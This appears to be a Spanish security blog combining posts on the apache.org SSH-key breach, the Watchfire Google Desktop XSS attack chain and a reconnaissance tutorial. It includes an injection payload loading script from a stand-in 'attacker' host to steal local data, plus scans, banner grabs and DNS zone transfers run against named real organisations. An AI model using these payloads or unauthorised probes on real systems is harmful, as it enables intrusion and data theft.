Durante la mañana del viernes 28 de agosto apareció un mensaje en la página principal del sitio de apache.org indicando que el sitio había sido comprometido y que la fundación había dado de baja muchos de sus servicios como precaución. En un comunicado posterior la fundación dio a conocer que el problema se había debido a llaves SSH vulnerables y no un ataque especialmente dirigido sobre el servidor del sitio; la vulnerabilidad en cuestión es una debilidad en las llaves SSH generadas en sistemas Devian / Ubuntu, esta vulnerabilidad permitió el acceso al sitio y el robo de muchas contraseñas, sin embargo fue posible restaurar los datos desde un mirror del sistema.

La principal preocupación del equipo de Apache es que se pudiera haber comprometido la integridad del software que se distribuye mediante el sitio, ya que siendo apache uno de los servidores WEB mas utilizado esto pudiera haber significado una gran brecha de seguridad para muchas organizaciones que utilizan dicho software.

El equipo que administra la infraestructura de la fundación se encuentra actualmente investigando la posible intrusión en uno de sus servidores. Por razones de seguridad muchos servicios prestados por apache.org se encuentra aun fuera de línea.

Lo interesante es que la vulnerabilidad que fue usada, no es reciente y esto demuestra que hasta en las mejores familias existen problemas con vulnerabilidades antiguas.

Referencia

http://threatpost.com/blogs/apache-site-hacked-through-ssh-key-compromise-128

http://isc.sans.org/diary.html?storyid=7030

http://www.milw0rm.com/exploits/5622

Google Desktop es una herramienta de escritorio ‘freeware’ popular ofrecida por Google. Tiene una interfase Web simple que hace posible usar el navegador para buscar información en la computadora local.

Existe un método de ataque contra la aplicación de ‘Google Desktop’ que permite a un individuo malicioso lograr acceso remoto y persistente a información sensible así como control completo del sistema afectado.

Este problema es el resultado de la integración entre el sitio Web de Google.com y la falla de Google Desktop al codificar salidas que contengan caracteres maliciosos o inesperados.

Este ataque representa un ejemplo real de una nueva generación de ataques a las computadoras. Estos ataques toman ventaja de las vulnerabilidades en aplicaciones Web y el poder cada vez mayor de los navegadores Web. El propósito es acceder remotamente a información privada. A diferencia de los ataques de penetración tradicionales, en este caso no hay necesidad de inyectar código binario.

En este ataque se utiliza código de JavaScript para controlar la funcionalidad de Google Desktop. El atacante puede secuestrar información confidencial del sistema y evadir los sistemas de protección de información como antivirus y firewalls.

El ataque pone énfasis en el peligro de la integración entre aplicaciones de escritorio y aplicaciones basadas en Web, ya que abre un hueco para los atacantes maliciosos al escalar sus privilegios al cruzar del ambiente Web al ambiente de escritorio.

Google Desktop

La aplicación de Google Desktop puede indexar y manejar una gran variedad de recursos incluyendo documentos de Office, archivos multimedia, archivos comprimidos, cache de historial Web, y sesiones de chat. Es posible también indexar y manejar documentos protegidos con contraseña y páginas web encriptadas, aunque estas características están deshabilitadas por default.

Google Desktop también puede monitorear la actividad del usuario al revisar y editar archivos, escribir y leer correos electrónicos y navegar por la Web. Crea copias en cache de la información y permite al usuario acceder a ella en otro momento. Por esta razón es posible buscar y acceder a la información desde el cache incluso después de que el correo electrónico original o archivo ya no exista en el sistema.

Google Desktop corre como un servidor Web local que esta ligado al puerto 4664 en la interfase de red del equipo local. Por seguridad, sólo responde a las solicitudes originadas desde el equipo local.

Integración de Google Desktop y el sitio público de Google.com

Un característica de la aplicación de Google Dektop es su similitud con el sitio Web de Google.com. Cuando se realizan búsquedas de información utilizando Google.com, además de presentar los resultados Web también se presentan los resultados que proporciona Google Desktop. Estos resultados de búsquedas locales los realiza la aplicación local de Google Desktop.

Esta característica puede resultar muy útil pero representa un grave riesgo de seguridad. Si se explota una vulnerabilidad de Cross Site Scripting (XSS) en Google.com contra un usuario de Google Desktop, un atacante malicioso puede acceder la porción local de la información de la computadora.

Este riesgo es mitigado en las versiones más actuales de Google Desktop ya que:

1. La integración de los resultados de Google Desktop con Google.com es opcional. Se puede deshabilitar mediante la opción de ‘Display’ en la ventana de ‘Desktop Preferences’.
2. Los resultados de la integración son parciales, solo se muestra un pequeño texto al usuario. Los contenidos completos del resultado únicamente pueden ser accedidos mediante la interfase local de Google Desktop.

Mecanismos de Protección

1. Filtrado de conexiones. El servidor Web corre en el equipo local por el puerto 4664. Únicamente maneja conexiones que se originen de y hacia el equipo local 127.0.0.1.
2. Firmas de protección. Cuando se instala, Google Desktop genera un llave aleatoria de 64 bits que se guarda en el registro fuse_data. Esta llave se utiliza para crear firmas únicas para diferentes páginas Web en el servidor Web local. Cada petición al servidor de Google Desktop local debe contener la firma para la petición específica. Esta firma cambia en cada equipo y en cada página Web. Este mecanismo de firmas proporciona una defensa contra ataques de XSS o Cross Site Request Forgery (CSRF). Para poder explotar esas vulnerabilidades, el atacante necesitaría conocer la firma válida del script vulnerable en el equipo local.

Vulnerabilidad de XSS en Google Desktop

La aplicación de Google Desktop permite al usuario realizar búsquedas de distintas formas. Una de ellas es la búsqueda de información bajo directorios específicos en el disco duro o en un dispositivo en red. Esta característica se puede configurar en la página de ‘Advanced Search’.

Se utiliza el parámetro under para realizar este tipo de búsquedas. El parámetro under puede ser pegajoso ya que los tres anteriores peticiones de under se regresan en la página de resultados. El parámetro de búsqueda under contiene una vulnerabilidad ya que es posible ejecutar scripts maliciosos utilizándolo. Por ejemplo:

under:<script>alert(‘Hacked’) :</script>

Para hacer la experiencia de navegación más rápida en el sitio Web de Google Desktop, las respuestas de las búsquedas relacionadas de Google Desktop contienen los contenidos de la página de ‘Advanced Search’ aunque se encuentran ocultos visualmente al usuario. Cuando el usuario da click en el enlace de ‘Advanced Search’ dentro de una página de búsqueda, está es cargada inmediatamente sin enviar una solicitud al servidor Web de Google Desktop.

Debido a que los parámetros de búsquedas avanzadas se incluyen en todas las páginas de búsqueda, desde el momento en que se ejecuta el comando under malicioso en la aplicación de Google Desktop, se queda pegado. Cada que un usuario realice una búsqueda por medio de la interfase Web de Google Desktop, el código malicioso de JavaScript también se ejecutará en el fondo.

Descripción del ataque

Este ataque puede saltarse los mecanismos de protección mencionados anteriormente y permitir a un atacante insertar código de JavaScript Malicioso en Google Desktop. Esto se realiza al tomar ventaja de la integración de Google Desktop con el sitio Google.com, así como de la vulnerabilidad de XSS descubierta en el parámetro under.

1. Explotar una vulnerabilidad de XSS en Google.com para incluir el código de JS. El vector inicial de ataque es la explotación de cualquier vulnerabilidad de XSS que se encuentre en el dominio de Google.com. El año pasado se descubrieron múltiples vulnerabilidades dentro de las aplicaciones y sitios de Google. La víctima debe acceder a una URL especialmente elaborada que apunte a una página Web vulnerable en: http://www.google.com. Esto se pude realizar al engañar al usuario para que de clic en el link malicioso utilizando ingeniería social o al tomar ventaja de las vulnerabilidades Web de otros sitios como lo que realizan los gusanos Samy y Yamanner. Después de que la víctima carga la página con la vulnerabilidad de XSS, se ejecuta el código malicioso de JavaScript. Este es el clásico ataque en Google.com que permite al atacante controlar el navegador de la víctima. La limitación es que el script únicamente puede interactuar con el dominio de Google.com.
2. Enviar una búsqueda estándar a Google.com en el fondo. En este paso, el código malicioso de JavaScript trata de encontrar la firma única de la página de búsquedas de Google Desktop que se encuentra instalada localmente. Envía una solicitud que corre en el fondo a Google.com, utilizando el objeto XmlHttpRequest. Por ejemplo: http://www.google.com/search?q=Nimrod.
3. Se adquiere la firma de la página de búsquedas de Google Desktop. Cuando se obtiene una respuesta de Google.com, la aplicación de Google Desktop la intercepta y agrega un enlace a Google Desktop. Este enlace tiene la siguiente estructura: http://127.0.0.1:4664/search&s=<UNIQUE_SIGNATURE>?q=<QUERY_STRING>

Utilizando expresiones regulares, el código malicioso que se inyecto en el paso 1, obtiene la firma única que es utilizada para el enlace de Google Desktop. Esta expresión regular puede tener la siguiente forma: ‘http://127.0.0.1:4664/search&s=([^?]+)?q=[^’]+’
Que se utiliza para obtener la firma única.

1. Infectar el navegador de la víctima. En este paso final el código de JavaScript salta al contexto de Google Desktop y lo infecta con un código malicioso y pegajoso de JavaScript. Esto se realiza al reemplazar la cadena estándar de búsqueda con la referencia maliciosa de JavaScript y al enviar una solicitud ciega (utilizando el IFRAME invisible por ejemplo) al Google Desktop:

http://127.0.0.1:4664/search&s=<UNIQUE_SIGNATURE>?q=<MALICIOUS_QUERY_STRING>
se transforma en:
http://127.0.0.1:4664/search&s=<STEP_3_ACQUIRED_SIGNATURE>?q=under:”<script src=’http://attacker/infect.js’></script>”
La respuesta a la solicitud ciega se carga en el IFRAME invisible y el código de JavaScript es ejecutado. En este punto el atacante tiene un control completo y persistente de la aplicación de Google Desktop de la víctima. El atacante puede realizar búsquedas de información privada en el equipo víctima y enviársela a http://attacker.

Características del ataque

La naturaleza de la vulnerabilidad explotada en este ataque permite al atacante instalar malware de JavaScript persistente. Cada vez que la víctima realice búsquedas utilizando Google Desktop, el script malicioso se ejecutará en el fondo sin llamar la atención. Ya que el payload malicioso es un código pequeño de HTML, se fusiona sin ser notado, dentro del código HTML legítimo del Google Desktop.

Control remoto. El malware de JavaScript puede ser controlado remotamente al cargar comandos dinámicos de un sitio Web externo utilizando la directiva de inclusión de JavaScript: <script src=’http://attacker/infect.js’>. Es posible utilizar plataformas como XSS Proxy para establecer comunicación bidireccional entre los equipos atacados y el atacante.

Control persistente. El malware de JavaScript se coloca como una de las últimas búsquedas del parámetro under. Si el usuario utiliza la búsqueda under varias veces seguidas, el script puede ser quitado del histórico. Sin embargo, para asegurarse de que el malware no es removido por las utilización del parámetro under del usuario, se puede configurar el código malicioso para que reinfecte el sistema cada vez que detecte la utilización del parámetro under. Esto se puede realizar al activar una búsqueda en Google Desktop que corra oculta.

Comportamiento tipo virus. El ataque afecta a la computadora local de la víctima y tiene un impacto similar a un virus/malware binario de computadoras. Sin embargo, difiere de los ataques tradicionales por varias razones:

1. El código malicioso no reside en el disco duro como un archivo binario que pueda atraer la atención de la víctima.
2. El atacante no necesita formas sofisticadas para cargar la lógica maliciosa; esto se realiza automáticamente por el navegador cada vez que se visitan páginas de Google Desktop.
3. El código malicioso es ejecutado por el navegador. No corre como un proceso propio.
4. Actualmente los antivirus y firewalls no pueden bloquear ataques de malware de JavaScript. El código malicioso puede mutar y encriptarse para evadir IDS.
5. Es posible extraer información de la computadora local y hacer que parezca como solicitudes codificadas a un sitio Web externo.

Impacto

Poder realizar búsquedas en la computadora local. Incluyendo documentos de Office, multimedia, correos (incluso los borrados), cache de historial Web, sesiones de Chat, cronología de actividades realizadas por el usuario en el equipo. Es posible hacer búsquedas por las palabras ‘confidencial’ o ‘secreto’ para encontrar información confidencial; búsquedas por ‘username’ o ‘password’ para obtener contraseñas; búsquedas por ‘banco’ para obtener información bancaria. La opción de ‘TimeLine View’ de Google Desktop presenta un log cronológico de los archivos editados por el usuario y los sitios Web visitados, así como versiones en cache de ambos.

Habilitar características deshabilitadas en Google Desktop. Las características que mayor impacto tienen en la seguridad son las siguientes: ‘Password-protected Office Documents’ permite a Google Desktop indexar archivos protegidos por contraseña. ‘Secure Pages /HTTPS in Web history’ permite a Google Desktop indexar páginas web seguras. Existe una vulnerabilidad de Google Desktop que puede ser utilizada para esconder estos cambios y que el usuario no pueda notarlos.

Búsqueda entre computadoras. Permite buscar páginas Web y documentos entre todas las computadoras de la víctima. Para activar esta característica se requiere que todas la máquinas tengan Google Desktop instalado y una cuenta de Google.

Control completo del sistema. Es posible lanzar aplicaciones por medio de la interfase Web de Google Desktop. Al enviar una solicitud desde Google Desktop se puede forzar al sistema atacado para que abra archivos automáticamente con su aplicación asociada. Es posible ejecutar archivos de tipo .exe. Por ejemplo: filetype:exe winword

Recomendaciones

1. Google desarrollo un parche que mitiga este ataque. Se recomienda actualizar la versión de Google Desktop.
2. Se deben evaluar los parámetros de seguridad del navegador Web.
3. Se debe deshabilitar la integración entre las aplicaciones Web públicas y las aplicaciones de escritorio.
4. Los vendedores de antivirus deben tomar en cuenta este riesgo y desarrollar formas creativas de detectar y defender contra este tipo de ataques de malware JavaScript.

Conclusiones

Por varias razones este ataque se puede considerar casi perfecto:

1. El footprint es pequeño y prácticamente indetectable.
2. Lo firewalls no pueden hacer nada para mitigar el ataque o el envío de información confidencial.
3. El software de antivirus no puede proteger a la víctima
4. El ataque es persistente entre diferentes sesiones y navegadores.
5. El impacto potencial es el control completo de la computadora víctima.

Este ataque fue posible gracias a una sola vulnerabilidad de XSS y a la integración entre el sitio de Google.com y la aplicación local de Google Desktop. Mientras que el ataque de XSS se considera inofensivo, combinado con aplicaciones de alta sensibilidad y capacidades poderosas como Google Desktop, su impacto se hace muy alto.

Referencias:
http://www.watchfire.com/resources/Overtaking-Google-Desktop.pdf
http://download.watchfire.com/googledesktopdemo/index.htm

Servicios públicos ofrecidos.

Ahora que conocemos los segmentos de red de una organización podemos conocer los servicios públicos ofrecidos. Lo primero que debemos hacer es echar una mirada a los nombres de los equipos que pudimos identificar en la fase anterior. Muchos administradores de red, ponen nombres significativos a sus equipos, estos nombres van relacionados con la función que desempeñan, algunos ejemplos son:

ns.dominio.com = Servidor DNS
dns.dominio.com = Servidor DNS
www.dominio.com = Servidor http
smtp.dominio.com = Servidor de correo.
Mail.dominio.com = Servidor de correo.
fw.dominio.com = firewall

ns.dominio.com = Servidor DNS
dns.dominio.com = Servidor DNS
www.dominio.com = Servidor http
smtp.dominio.com = Servidor de correo.
Mail.dominio.com = Servidor de correo.
fw.dominio.com = firewall

Si queremos no ser detectados (o hacer más difícil el rastreo) por administradores de red debemos tener mucho cuidado en esta parte, la clave para investigar los servicios públicos está en no simplemente enviar miles de paquetes generados con la herramienta nmap a todos los puertos y a todos los segmentos de red; mas bien podemos buscar por equipos y guiarnos por la información que tenemos actualmente para tratar de identificar que servicios ofrecen públicamente y únicamente lanzar el escaneo a esos puertos.

Los servicios públicos más comunes con los que cuentan la mayoría de las organizaciones se listan a continuación:

Por ejemplo, mediante la resolución de dominios encontré el siguiente dominio

portal2www.itesm.mx.

¿Que puedo hacer ahora? lanzar un escaneo a los puertos mas comunes y ver su respuesta.
Esto se puede hacer con n cantidad de escaners, en mi opinión nmap y unicornscaner son los mejores:

El nombre del host tiene www, por lo que es de suponerse que debe tener habilitado http y posiblemente https. Con el siguiente comando lanzaremos un escaneo utilizando la herramienta unicornscan al sitio portal2www.itesm.mx pero únicamente a los puertos 80 (http) y 443 (https):

# unicornscan -mT portal2www.itesm.mx.:80,443 -v
TCP open http[ 80] from 200.34.200.27 ttl 54
TCP open https[ 443] from 200.34.200.27 ttl 54

Como ya lo suponíamos, basados en el nombre del equipo, comprobamos que ambos puertos se encuentran abiertos. Si queremos lanzar un escaneo a los puertos más comunes mencionados en la lista anterior, con unicornscaner se haría de la siguiente forma:

# unicornscan -mT portal2www.itesm.mx.:q
TCP open ssh[ 22] from 200.34.200.27 ttl 54
TCP open http[ 80] from 200.34.200.27 ttl 54
TCP open https[ 443] from 200.34.200.27 ttl 54

De esta manera podemos comenzar a reconocer los servicios públicos que ofrece una organización. Pero no solo nos interesa conocer los servicios públicos que ofrece una organización, sino también las versiones de servidores que tienen, esto para realizar un análisis más específico y poder reconocer vulnerabilidades en los equipos:

Nmap nos permite hacer esto de una manera transparente:

La sintaxis seria: ‘nmap –sV –P0 –p Puerto IP’

# nmap -sV -P0 -p 80,443 www.eluniversal.com.mx

Starting Nmap 4.03 ( http://www.insecure.org/nmap/ ) at 2006-08-08 00:04 GMT
Interesting ports on na-148-243-168-46.na.avantel.net.mx (148.243.168.46):
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.0.54 ((Unix) PHP/5.0.5)
443/tcp filtered https

Nmap finished: 1 IP address (1 host up) scanned in 8.164 seconds

Si deseamos hacer esta búsqueda de banner y encontrar posibles versiones de servicios, lo podemos hacer simplemente con aplicaciones como netcat o telnet y conectarnos al puerto que necesitemos. Es importante mencionar que los banners no son una garantía que realmente este corriendo en el servidor tal versión de un software, muchas veces, por seguridad, los administradores del sistema pueden modificar el contenido del banner de sus equipos.

A continuación muestro un ejemplo de obtener un banner de https con openssl que es una herramienta de código abierto para establecer conexiones de ssl y tls.

# openssl s_client -quiet -connect www.banamex.com.mx:443
depth=2 /C=US/O=VeriSign, Inc./OU=Class 3 Public Primary Certification Authority
verify error:num=19:self signed certificate in certificate chain
verify return:0
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Server: Netscape-Enterprise/6.0
Date: Mon, 14 Aug 2006 00:23:02 GMT
Content-length: 0
Content-type: text/html
Connection: close

El siguiente es un ejemplo de una obtención de banner de SMTP con netcat.

#nc mail.rosenblueth.mx 25
220 mail.rosenblueth.mx ESMTP Sendmail 8.11.6/8.11.6; Wed, 13 Dec 2006 10:36:31 -0600

La siguiente es una obtención de banner de telnet con un telnet (XD).

# telnet 200.39.31.1
ÿûÿûÿýÿýC
______________________________________________________________

|| ||
|| ||
|||| ||||
..:||||||:..:||||||:..
C i s c o S y s t e m s
Router de Acceso
______________________________________________________________
**************************************************************
* *
* TELEFONICA DATA MEXICO S.A DE C.V. *
* *
* ” GESTION DE RED ” *
* *
* EL ACCESO A ESTE EQUIPO ESTA RESTRINGIDO AL *
* PERSONAL AUTORIZADO DE LA EMPRESA *
* SI TIENES DUDAS PONTE EN CONTACTO CON NOSOTROS AL TEL. *
* (52) 3093-6904 *
* (52) 5249-9949 *
* *
* gestion.red@telefonica-data.com.mx *
* *
**************************************************************

User Access Verification

Username:

Arquitectura de los sistemas visibles.

¿Que representa tener la arquitectura?, con toda la información que tenemos actualmente, ya podemos generar un mapa de la red objetivo: contamos con el direccionamiento, los servicios públicos y la mayoría de las versiones de las aplicaciones que se encuentren en el sistema. Con la información que se ha recabado es posible definir si se cuenta con balanceadores de carga, diferentes ISP, que servicios están forwardeados (enviados a diferentes equipos en la DMZ o red interna con la misma IP pública), así como la alta disponibilidad de algunos servicios.

Con la información obtenida en fuentes publicas, como ofertas de empleo, podemos notar que tipo de tecnologías piden al personal para contratar y al identificar banners de equipos podemos saber el tipo y arquitectura de las plataformas que manejan en la red de la compañía objetivo.

¿Como identificamos que servicios están reenviados a otros equipos?, esto puede ser verificado por el TTL (http://es.wikipedia.org/wiki/Tiempo_de_Vida ) al enviar paquetes a ellos.

El siguiente un escaneo a los puertos 80 y 443

# unicornscan -mT www.banamex.com.mx:80,443
TCP open http[ 80] from 192.193.230.100 ttl 49
TCP open https[ 443] from 192.193.230.100 ttl 51

Los diferentes TTL nos indican que el Puerto 80 esta a dos saltos mas que el puerto 443, esto quiere decir que físicamente los servicios no se encuentran en el mismo equipo.

Para identificar diferentes proveedores de servicios para enlaces redundantes podemos trazar las rutas de los paquetes tanto por TCP, UDP como ICMP.

Las trazas de los paquetes también debemos hacerlas desde diferente partes del mundo para esto podemos ir a la pagina http://www.traceroute.org/ .

El siguiente es una trace de puerto 53 UDP con traceroute

# traceroute -p 53 -v -n 4.2.2.2 -p 1
traceroute to 4.2.2.2 (4.2.2.2), 30 hops max, 38 byte packets
1 192.168.244.1 36 bytes to 192.168.244.121 14.416 ms 7.792 ms 3.866 ms
2 192.168.244.20 46 bytes to 192.168.244.121 2.578 ms 3.484 ms 5.509 ms
3 200.36. bytes to 192.168.244.121 3.777 ms 3.717 ms 7.381 ms
4 200.36. bytes to 192.168.244.121 8.536 ms 5.027 ms 5.316 ms
5 200.38. bytes to 192.168.244.121 36.470 ms 31.229 ms 16.789 ms
6 201.125.72.210 36 bytes to 192.168.244.121 19.668 ms 33.953 ms *
7 200.38.132.85 36 bytes to 192.168.244.121 67.067 ms 75.708 ms 131.794 ms
8 12.119.9.13 36 bytes to 192.168.244.121 69.091 ms 88.645 ms 117.376 ms
9 12.123.222.102 148 bytes to 192.168.244.121 90.758 ms 86.053 ms 88.856 ms
10 12.123.222.29 36 bytes to 192.168.244.121 61.226 ms 155.555 ms 66.113 ms
11 4.68.111.189 36 bytes to 192.168.244.121 68.052 ms * 104.762 ms
12 4.68.102.135 36 bytes to 192.168.244.121 130.495 ms 155.040 ms 139.991 ms
13 4.2.2.2 46 bytes to 192.168.244.121 44.472 ms 89.933 ms 156.602 ms

El siguiente es una trace de puerto 53 TCP con tctrace

# tctrace -i eth0 -d 4.2.2.2 -p 53
1(2) [192.168.244.1]
2(1) [192.168.244.20]
3(1) [200.36.]
4(1) [200.36.]
5(1) [200.38.]
6(1) [201.125.72.210]
7(1) [200.38.132.85]
8(1) [12.119.9.13]
9(1) [12.123.222.102]
10(1) [12.123.222.29]
11(1) [4.68.111.189]
12(1) [4.68.102.7]
13(1) [4.2.2.2] (reached; closed)

Si comparamos los saltos hasta el 11 podemos ver que son iguales, después del equipo 4.68.11.189 siguen por diferentes caminos.

Enviando paquetes ICMP para ver estadísticas podemos reconocer otra ruta diferente:

C:Documents and Settingsdarkslaker>pathping 4.2.2.2

Tracing route to vnsc-bak.sys.gtei.net [4.2.2.2] over a maximum of 30 hops:
0 narc [192.168.244.120]
1 192.168.244.1
2 192.168.244.20
3 200.36.
4 200.36.
5 200.38.
6 201.125.72.210
7 200.38.132.85
8 12.119.9.13
9 12.123.222.102
10 12.123.222.29
11 4.68.111.189
12 4.68.102.71
13 4.2.2.2

Computing statistics for 325 seconds…
Source to Here This Node/Link
Hop RTT Lost/Sent = Pct Lost/Sent = Pct Address
0 narc [192.168.244.120]
1/ 100 = 1% |
1 9ms 6/ 100 = 6% 5/ 100 = 5% 192.168.244.1
0/ 100 = 0% |
2 14ms 7/ 100 = 7% 6/ 100 = 6% 192.168.244.20
0/ 100 = 0% |
3 13ms 1/ 100 = 1% 0/ 100 = 0% 200.36.
0/ 100 = 0% |
4 11ms 8/ 100 = 8% 7/ 100 = 7% 200.36.
0/ 100 = 0% |
5 — 100/ 100 =100% 99/ 100 = 99% 200.38.193.226
0/ 100 = 0% |
6 — 100/ 100 =100% 99/ 100 = 99% 201.125.72.210
0/ 100 = 0% |
7 — 100/ 100 =100% 99/ 100 = 99% 200.38.132.85
0/ 100 = 0% |
8 107ms 3/ 100 = 3% 2/ 100 = 2% 12.119.9.13
0/ 100 = 0% |
9 — 100/ 100 =100% 99/ 100 = 99% 12.123.222.102
0/ 100 = 0% |
10 — 100/ 100 =100% 99/ 100 = 99% 12.123.222.29
0/ 100 = 0% |
11 104ms 6/ 100 = 6% 5/ 100 = 5% 4.68.111.189
0/ 100 = 0% |
12 111ms 6/ 100 = 6% 5/ 100 = 5% 4.68.102.71
0/ 100 = 0% |
13 119ms 1/ 100 = 1% 0/ 100 = 0% 4.2.2.2

Trace complete.

Se identifico en el salto 12 un nuevo equipo.

El identificar y seguir los caminos que nuestros paquetes tienen que viajar hasta llegar a su destino nos brinda mucha información valiosa. Por lo que es importante siempre verificar los caminos de paquetes TCP, UDP e ICMP.

Existen también algunas otras cosas que podemos verificar para realizar un mapa mas completo de la tecnología que usa una organización, por ejemplo, se pueden intentar técnicas de rebote de correo electrónico, que consisten en enviar un correo electrónico a un destinatario que no existe y con la respuesta automática del sistema se puede encontrar información como el tipo de servidor de SMTP y la versión del software antivirus etc.

Para identificar si un equipo se encuentra detrás de un loadbalancer (balanceador de carga) en aplicaciones Web, podemos usar el siguiente script:

#!/usr/bin/perl
# Enumerate web servers behind a load balancer
# 20020125 Mike Shema
$url = “/scripts”;
$n = 10;
if ($#ARGV print “Usage: $0 [URL] [repetitions]n”;
exit;
}
$host = $ARGV[0];
$url = $ARGV[1] if ($ARGV[1]);
$n = $ARGV[2] if ($ARGV[2] !~ /D+/);
$cmd = “echo -e “GET $url HTTP/1.0nn” | nc $host 80″;
for($i=0; $i $res = `$cmd`;
$res =~ /(.*http://)(.*)(/w+)/g;
print “$2n” if ($2);
}

# perl load_balancer.pl www.microsoft.com /mexico 5
207.46.19.30
207.46.225.60
207.46.198.60
207.46.20.30
207.46.20.60

Simplemente necesitamos conocer un directorio del portal, para utilizar este script.

El reto de seguir el rastro a una organización es muy grande y esta fue simplemente una pequeña mirada a lo que se puede realizar. Ahora depende de cada persona; su feeling y su experiencia le permitirán obtener diferentes datos o encontrar maneras más óptimas y refinadas de búsqueda.

Cualquier comentario favor de hacérmelo llegar:

rienzi@nimrod.com.mx

Nombres de Dominio de la organización:
Para un hacker, el conocer la mayor información relacionada con la organización antes de lanzar un ataque es indispensable. Dentro de la información que es necesaria recopilar encontramos:

• Nombres de dominio de la organización.
• Bloques de red y direccionamiento IP de la organización.
• Proveedores de servicio de Internet de la organización.

A continuación se muestran algunas maneras de localizar dicha información.
Primeramente es importante mencionar que el ICANN es responsable de la coordinación y de la administración de los elementos técnicos de DNS’s para garantizar una resolución unívoca de los nombres, de manera que los usuarios de Internet puedan encontrar todas las direcciones válidas. Para ello, se encarga de supervisar la distribución de los identificadores técnicos únicos usados en las operaciones de Internet, y delegar los nombres de dominios de primer nivel (como .com, .info, etc.).
ICANN se encarga de administrar los nombres de dominio y direccionamiento IP mediante organizaciones alrededor de mundo. Las siguientes ligas corresponden a la representación de ICANN por regiones:

• Europa y África http://www.ripe.net
• Norte y Sur América http://www.arin.net
• Asia Pacifico http://www.apnic.net
• http://www.ripe.net

Ahora debemos buscar todos los dominios y subdominios que podamos encontrar. Podemos buscar tanto en Google como en la base de datos de whois para localizar los dominios así como el servidor de nombres al que esta asociado.

Lo primero que podemos hacer es identificar el responsable del dominio y su servidor de nombres asociado, esto nos sirve para comenzar a identificar segmentos de red, proveedores de servicios externos, redundancia en equipos, etc.

Desde una Terminal de un sistema *NIX podemos ejecutar la siguiente búsqueda:

slax ~ # whois itam.mx

DOMINIO: itam.mx

FECHA DE CREACION: 02-JAN-95
FECHA DE ULTIMA MODIFICACION: 05-JAN-05

ORGANIZACION: ITAM [itam1]
DOMICILIO: Mexico, D.F., Mexico

CONTACTO ADMINISTRATIVO: Uciel Fragoso Rodriguez [uciel]
DOMICILIO: Mexico, D.F., Mexico

CONTACTO TECNICO: Uciel Fragoso Rodriguez [uciel]
DOMICILIO: Mexico, D.F., Mexico

CONTACTO DE PAGO: Uciel Fragoso Rodriguez [uciel]
DOMICILIO: Mexico, D.F., Mexico

SERVIDOR PRIMARIO: turing2.itam.mx
IP PRIMARIO: 148.205.228.11

SERVIDOR SECUNDARIO: remo.itam.mx
IP SECUNDARIO: 148.205.228.17

SERVIDOR SECUNDARIO: name.roc.gblx.net

SERVIDOR SECUNDARIO: name.phx.gblx.net

Con la información obtenida en el ejemplo anterior, podemos apreciar lo siguiente:

• Nombre del contacto.
• Fecha de creación de dominio.
• DNS, de los cuales 2 son administrados por la organización y 2 por externos.

Cuando ya contamos con los servidores DNS de la organización podemos realizar peticiones directas a los mismos. A continuación muestro las diferentes tipos de consultas que podemos realizar:

• SOA (State of authority)- Muestra quien es el servidor DNS primario.
• NS (Name Server) Muestra quienes son los servidores DNS de un dominio.
• MX (Mail Exchanger) Muestra quien se encarga de entregar correo para un dominio.
• ANY (Any Query) Busca cualquier registro contenido en la zona.
• TXT (Text Query) Busca registros de texto.
• AXFR- (Zone transfer) Trae todos los registros almacenados en una zona DNS.
• A (Address). Muestra el registro para traducir nombre de host a direcciones IP.
• CNAME (Canonical Name). Se usa para crear nombres de hosts adicionales, o alias, para los hosts de un dominio.

Existen dos consultas claves que debemos realizar siempre, la ANY y la AXFR. Es importante mencionar que no todos los servidores DNS permiten búsquedas del tipo AXFR ya que es considerada una mala practica, este tipo de búsquedas deben ser restringidas solamente entre un servidor primario y uno secundario. ¿Que herramientas nos permiten realizar estas búsquedas?

• SamSpace
• Dig
• Host
• Nslookup
• Dsnwalk
• Etc.

En este caso utilizaremos dig para realizar las búsquedas.

- La búsqueda any nos permite conocer todos los equipos NS,MX,SOA, A de un dominio:

slax ~ # dig any @148.205.228.11 itam.mx

; <<>> DiG 9.3.1 <<>> any @148.205.228.11 itam.mx
; (1 server found)
;; global options: printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 59063
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 18, AUTHORITY: 0, ADDITIONAL: 7

;; QUESTION SECTION:
;itam.mx. IN ANY

;; ANSWER SECTION:
itam.mx. 600 IN A 148.205.228.219
itam.mx. 3600 IN A 148.205.148.5
itam.mx. 600 IN A 148.205.36.229
itam.mx. 600 IN A 148.205.133.22
itam.mx. 600 IN A 148.205.228.17
itam.mx. 600 IN A 148.205.52.10
itam.mx. 600 IN A 148.205.228.11
itam.mx. 600 IN A 148.205.40.4
itam.mx. 600 IN A 148.205.40.11
itam.mx. 600 IN A 148.205.228.27
itam.mx. 3600 IN NS artemisa2.itam.mx.
itam.mx. 3600 IN NS turing2.itam.mx.
itam.mx. 3600 IN NS remo.itam.mx.
itam.mx. 3600 IN NS name.phx.gblx.net.
itam.mx. 3600 IN NS name.roc.gblx.net.
itam.mx. 3600 IN SOA turing2.itam.mx. uciel.itam.mx. 2002068227 3600 600 1209600 3600
itam.mx. 3600 IN MX 10 stockton.itam.mx.
itam.mx. 3600 IN MX 10 malone.itam.mx.

;; ADDITIONAL SECTION:
artemisa2.itam.mx. 3600 IN A 148.205.40.11
turing2.itam.mx. 3600 IN A 148.205.228.11
remo.itam.mx. 3600 IN A 148.205.228.17
name.phx.gblx.net. 39355 IN A 206.165.6.10
name.roc.gblx.net. 56775 IN A 209.130.187.10
stockton.itam.mx. 3600 IN A 148.205.228.32
malone.itam.mx. 3600 IN A 148.205.228.6

;; Query time: 193 msec
;; SERVER: 148.205.228.11#53(148.205.228.11)
;; WHEN: Mon Aug 7 14:28:11 2006
;; MSG SIZE rcvd: 506

- La búsqueda axfr es un poco diferente a la any ya que no permite hacer un intercambio de Zonas de transferencia. Esto quiere decir que nos enviara toda su zona con la cual podremos tener todos los nombres de los equipos registrados en el dominio.

slax ~ # dig axfr @148.205.228.11 itam.mx

; <<>> DiG 9.3.1 <<>> axfr @148.205.228.11 itam.mx
; (1 server found)
;; global options: printcmd
itam.mx. 3600 IN SOA turing2.itam.mx. uciel.itam.mx. 2002068242 3600 600 1209600 3600
itam.mx. 3600 IN NS artemisa2.itam.mx.
itam.mx. 3600 IN NS turing2.itam.mx.
itam.mx. 3600 IN NS remo.itam.mx.
itam.mx. 3600 IN NS name.phx.gblx.net.
itam.mx. 3600 IN NS name.roc.gblx.net.
